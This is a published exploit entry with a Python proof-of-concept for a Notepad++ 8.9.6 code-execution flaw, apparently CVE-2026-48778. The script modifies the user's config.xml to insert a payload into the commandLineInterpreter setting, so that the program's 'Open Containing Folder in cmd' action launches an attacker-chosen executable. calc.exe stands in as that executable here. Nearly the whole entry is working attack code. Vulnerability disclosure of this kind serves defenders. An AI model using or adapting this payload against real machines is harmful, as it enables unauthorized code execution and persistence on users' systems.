Notepad++ 8.9.6 – Arbitrary Code Execution
# Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without # validation and passes it to ShellExecute when "Open Containing Folder in cmd" is # triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an # arbitrary executable path, resulting in code execution under the current user context. # In the following script, `calc.exe` has been used to demonstrate this vulnerability. import os, sys appdata = os.environ["APPDATA"] if not appdata: print("[!] APPDATA environment variable not found, exiting..") sys.exit() config_path = os.path.join(appdata, "Notepad++", "config.xml") existing = os.path.exists(config_path) if existing==True: print("[+] Found config.xml at ", config_path) else: print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.") x = open(config_path, 'r') s = x.readlines() payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n' injected=False for num,i in enumerate(s, start=0): if '<GUIConfig name="commandLineInterpreter">' in i: print("[!] Injecting payload..") s[num]=payload injected=True break elif "</GUIConfigs>" in i: print("[!] Injecting payload..") s.insert(num, payload) injected=True break if not injected: print("[!] Payload injection failed.") sys.exit(1) y = open(config_path, 'w') y.writelines(s) print("[+] Payload injected successfully!") print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd") print("[+] Calc.exe will launch instead of cmd.") print("end") |